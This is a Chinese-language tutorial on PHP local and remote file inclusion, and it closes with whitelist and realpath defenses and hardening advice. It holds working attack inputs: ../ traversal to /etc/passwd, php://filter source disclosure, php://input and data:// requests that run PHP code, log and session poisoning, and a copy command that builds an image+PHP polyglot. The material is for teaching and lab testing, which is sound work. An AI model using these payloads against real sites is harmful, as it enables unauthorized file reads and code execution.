LFI/RFI 区别、php://filter 读源码、日志包含、session 包含,均附验证过程。
核心知识点
1. 文件的概念与正常用途
- 为什么要包含:导航栏、数据库连接、权限验证、页脚等重复代码抽成独立文件统一管理。
// header.php
echo '<h1>教学网站</h1>';
// index.php
include 'header.php';
echo '<p>这里是首页正文</p>';
2. 四个函数
| 函数 | 文件找不到时 | 重复 | 适合场景 |
|---|---|---|---|
include | 警告,后续继续执行 | 非页面片段,如页脚 | |
include_once | 警告,后续继续执行 | 同一文件一次 | 函数/类重复定义 |
require | 致命错误,程序终止 | 文件,如数据库 | |
require_once | 致命错误,程序终止 | 同一文件一次 | 类库和 |
重点:四者风险相同,文件名来自用户且未严格限制就可能被包含利用。
3. 被文件的扩展名为什么不重要
- 文件由
include/require读取,不是浏览器访问该扩展名;demo.jpg含 PHP 标签被 include 后照样执行——只查扩展名挡不住”上传后再包含”。
4. 漏洞产生原理
<?php
$page = $_GET['page'];
include $page; // 用户可控的动态
?>
正常 ?page=home.php,攻击改 ?page=../../test.php。
两个条件:① 用 include/require 动态包含;② 变量用户可控。写死的 include("config.php") 不是漏洞。
5. LFI 与 RFI
| 项目 | LFI | RFI |
|---|---|---|
| 称 | Local File Inclusion | Remote File Inclusion |
| 文件位置 | 目标服务器本地 | 远程服务器/远程资源 |
| 常见形式 | ../、绝对路径、日志、Session | http://、ftp:// |
| 依赖 | 通常不依赖 allow_url_include | 通常要求 allow_url_include=On |
| 常见危害 | 信息泄露,条件满足时代码执行 | 远程代码被执行 |
| 现实常见程度 | 较常见 | 现代环境较少见 |
RFI 检查:php -i | grep -E 'allow_url_fopen|allow_url_include'。
6. 目录遍历(../)
../是上一级,层级按实际目录结构算,不是乱写几个。- 用无害标记文件判断层级:
echo 'LFI_TEST_OK' > /var/www/lfi-marker.txt
# 访问 ?page=../../../lfi-marker.txt,页面出现 LFI_TEST_OK 说明层级正确
- 相对
../../test.txt(依赖当前脚本目录);Linux/etc/passwd;WindowsC:/Windows/php.ini。 - 自动拼接后缀:
include $page . '.php';时?page=test→test.php;但php://filter的 resource 参数仍可读。
7. 读取 Windows 与 Linux 敏感文件
- 文件含 PHP 标签会被执行,读 PHP 源码通常要 php://filter。
Linux 敏感文件:
| 路径 | 可能得到的信息 |
|---|---|
/etc/passwd | 系统账户信息(用户名/UID/家目录/Shell,不含密码哈希) |
/etc/apache2/apache2.conf | Apache 主 |
/etc/httpd/conf/httpd.conf | RHEL 系 Apache |
/etc/nginx/nginx.conf | Nginx |
/etc/my.cnf | MySQL/MariaDB |
/usr/local/php/etc/php.ini | PHP |
root:x:0:0:root:/root:/bin/bash = 用户名、x 密码占位、UID、GID、描述、家目录、登录 Shell。
Windows 敏感文件:
| 路径 | 用途 |
|---|---|
C:/Windows/php.ini | PHP |
C:/phpstudy_pro/Extensions/php/php*/php.ini | phpStudy 新版 PHP |
C:/xampp/apache/conf/httpd.conf | XAMPP Apache |
C:/xampp/apache/logs/access.log | XAMPP 访问日志 |
C:/ProgramData/MySQL/MySQL Server*/my.ini | MySQL |
空白原因:文件不存在/层级错、无读权限、open_basedir、被执行但无输出、错误显示被关闭、过滤或拼接后缀。
8. 本地文件上传
- 攻击链:文件可控 + 上传后路径可知 + LFI 能包含该路径。
- Windows copy 制作组合文件:
copy 1.jpg /b + test.php /a 2.jpg
- 流程:1.jpg + test.php → copy 合并 → 上传 2.jpg → 确认路径 →
?page=../../uploads/2.jpg出现标记即成立。 - 失败原因:上传后重命名、存到 Web 根目录外、重新编码、白名单、open_basedir、自动拼接后缀。
9. Web 日志、SSH 日志
- 攻击链:可控请求字段 → access.log/error.log → LFI 读日志 → PHP 标签被解释。
- 进日志的字段:请求路径、User-Agent、Referer(常见)、Cookie(不一定)、请求体(通常不记录)。
- 无害标记验证:
GET /LFI_LOG_TEST_2026 HTTP/1.1
User-Agent: LFI_LOG_MARKER
- 日志位置:Debian/Ubuntu Apache
/var/log/apache2/access.log、error.log;RHEL/CentOS/var/log/httpd/access_log;Nginx/var/log/nginx/access.log;XAMPPxampp/apache/logs/access.log;phpStudyphpStudy/Apache/logs/access.log。 - SSH 日志:认证失败看
/var/log/auth.log(Debian)或/var/log/secure(RHEL),标记ssh 'LFI_SSH_MARKER'@IP;限制多(转义、Web 进程权限、journal)。 - Burp 改 User-Agent:Proxy 拦截 → 改 User-Agent 头为标记字符串 → 放行后查日志。
10. Session 文件
- Cookie 存客户端,Session 存服务器端。
PHPSESSID=xxx对应服务器文件sess_xxx。- 路径:
php -i | grep -E 'session.save_path|session.save_handler'(Debian/var/lib/php/sessions/;XAMPPxampp/tmp/)。 - 昵称/搜索词等写进
$_SESSION时,Session 文件即可控。 - 三个条件:路径已知 + 文件名可确定 + 内容部分可控。
11. PHP 伪协议详解(重点)
PHP 把文件、网络、请求体、数据、压缩统一抽象成”流”,协议决定打开方式。
| 协议 | 主要作用 | 文件中的用途 |
|---|---|---|
file:// | 本地文件系统 | 读取绝对路径文件 |
http:// / https:// | 网络资源 | 远程文件 |
ftp:// | FTP 资源 | 远程资源访问 |
php://filter | 流过滤器 | Base64 读取 PHP 源代码(最常用) |
php://input | HTTP 原始请求体 | 特定下请求体 |
data:// | URL 嵌数据 | 直接提供代码或文本 |
zip:// | ZIP 压缩 | 访问压缩文件 |
phar:// | PHP 归档 | 访问归档文件 |
file://
?page=file:///etc/passwd
?page=file:///C:/Windows/php.ini
绝对路径三个斜杠:file:// + 根路径前导斜杠。
php://filter —— 读取 PHP 源代码(最值得掌握)
?page=php://filter/read=convert.base64-encode/resource=index.php
?page=php://filter/convert.base64-encode/resource=index.php # 省略 read= 的写法
- 原理:文件先 Base64 编码再交给 include,编码后不含可执行 PHP 标签,于是看到源码。
- 解码:
echo 'PD9waHAgZWNobyAnSGVsbG8nOyA/Pg==' | base64 -d
或用 Burp Decoder 选 “Decode as Base64”。
- php://filter 只用于读源码,不等于命令执行。
php://input —— 请求体
POST /include/index.php?page=php://input HTTP/1.1
Host: 127.0.0.1
Content-Type: text/plain
<?php echo 'INPUT_OK'; ?>
要求 allow_url_include=On,POST 且 PHP 代码放请求体。
zip://
?page=zip://C:/Users/student/Desktop/test.jpg%23test.txt
- 组成:
zip://+ 压缩包绝对路径(扩展名可改 jpg)+%23(URL 编码的 #)+ 内部文件名。 #在 URL 里是片段标识、不发给服务器,编码成%23服务器才收得到。
data://
?page=data://text/plain,<?php echo 'DATA_OK'; ?>
?page=data://text/plain;base64,PD9waHAgZWNobyAnREFUQV9PSyc7ID8+
数据直接放 URL;明文易受编码/WAF 影响,Base64 更稳。要求 PHP>=5.2、allow_url_fopen=On、allow_url_include=On。
phar://
?page=phar://C:/Users/student/Desktop/test.zip/test.txt
?page=phar://C:/Users/student/Desktop/test.jpg/test.txt
用”归档路径/内部文件路径”,不使用 #;归档改名 jpg 仍可访问,只要底层格式被识别。
协议对比表:
| 协议 | 用途 | allow_url_fopen | allow_url_include |
|---|---|---|---|
| file:// | 本地文件读取 | 通常无要求 | 通常无要求 |
| php://filter | 源码读取 | 通常无要求 | 通常无要求 |
| php://input | 请求体 | 通常不是核心 | 常见要求 On |
| data:// | URL 嵌数据 | 常见要求 On | 常见要求 On |
| http:// | 远程 | 常见要求 On | 要求 On |
| zip:// | 压缩 | 通常无要求 | 通常无要求 |
| phar:// | 归档 | 通常无要求 | 通常无要求 |
12. 常见限制、失败原因与排错
- open_basedir:越界报
open_basedir restriction in effect。 - 权限:Web 进程(www-data/apache/nginx)无读权限即失败;查
ps aux | grep -E 'php-fpm|apache2|httpd|nginx'、ls -l /var/log/apache2/access.log。 - 错误显示:
display_errors = Off时只有空白/500,看状态码、响应长度、服务器日志。 - URL 编码与路径分隔符:
字符 URL 编码 用途 ../..%2f目录遍历编码 \%5cWindows 路径分隔符 #%23zip:// 分隔符 ?%3f被当查询字符串分隔符 :%3a部分过滤场景 - 自动拼接:
include './pages/' . $_GET['page'] . '.php';,先写拼接结果再判断../能否跳出。 - 版本差异:allow_url_include 自 PHP 5.2 通常默认关;空字节截断只对特定旧版本有效;不同 SAPI 的 php.ini 可能不同。
13. 漏洞检测流程与 Burp 操作
- 可疑参数名:
page、module、view、template、lang、language、file、path、filename、document、content、include、inc,以及 URL 里的home.php、news.php、header.html。 - Burp Repeater:Proxy 截获 → Send to Repeater → 记录状态码/长度 → 逐个改参数(
page=test.php、不存在文件、../、绝对路径、php://filter)→ 对比响应。 - 对比响应:状态码(200/403/404/500)、响应长度、响应时间、报错(include、failed to open stream、open_basedir)、页面特征。
- 测试顺序:同目录 → 上一级 → 继续算层级 → 绝对路径 → php://filter → 上传/日志/Session 组合 → 看 allow_url_include 决定是否测 RFI。
14. 编码与防御
最危险的写法:include $_GET['page'];;黑名单过滤 ../、php://、http:// 容易遗漏变形协议。
推荐:标识符到固定路径的白名单映射:
$pages = [
'home' => __DIR__ . '/pages/home.php',
'news' => __DIR__ . '/pages/news.php',
'about' => __DIR__ . '/pages/about.php',
];
$key = $_GET['page'] ?? 'home';
if (!isset($pages[$key])) {
http_response_code(404);
exit('页面不存在');
}
include $pages[$key];
使用路径时的规范化检查:
$base = realpath(__DIR__ . '/pages');
$name = $_GET['file'] ?? '';
$target = realpath($base . DIRECTORY_SEPARATOR . $name);
if ($target === false || strpos($target, $base . DIRECTORY_SEPARATOR) !== 0) {
http_response_code(400);
exit('非法路径');
}
include $target;
realpath 解析 ../ 和符号链接,确认路径仍在目录内。
加固:关 allow_url_include、评估 allow_url_fopen、open_basedir、关 display_errors 并开日志、最小权限、上传目录与代码目录隔离且禁 PHP 执行。
上传功能加固:随机文件名、重新编码图片、存储到 Web 根目录外、独立域名/对象存储、禁止上传目录解析 PHP、白名单映射。
检查:参数来源?白名单固定?../ 能否跳出?支持 php://、data://、http://?上传/日志/Session 可被包含?错误页泄露路径?
实操步骤
# 实验目录结构
/var/www/html/lfi-lab/
├── index.php # $page=$_GET['page']??'pages/home.php'; include $page;
├── pages/{home.php,news.php}
├── marker.txt
└── uploads/
# 1. 正常
?page=pages/home.php
# 2. 目录遍历
?page=../marker.txt
# 3. 读取敏感文件
?page=/etc/passwd
# 4. php://filter 读源码
?page=php://filter/read=convert.base64-encode/resource=index.php
# 5. 日志标记
GET /LFI_LOG_MARKER_01 HTTP/1.1(User-Agent 也写标记)
?page=../../../../var/log/apache2/access.log
# 6. php://input(POST 请求体写 PHP 代码)
?page=php://input
# 7. data:// / zip:// / phar:// 见上文
常见错误与排查
- 直接
?page=index.php看不到源码(被解析执行)→ 用 php://filter。 - 写
../不生效 → 用 marker 文件算层级;页面空白 → 按第 7 节 6 种原因排查。 - RFI 失败 → 查 allow_url_include、网络、
http://过滤;zip:// 不识别 →#是否编码成%23。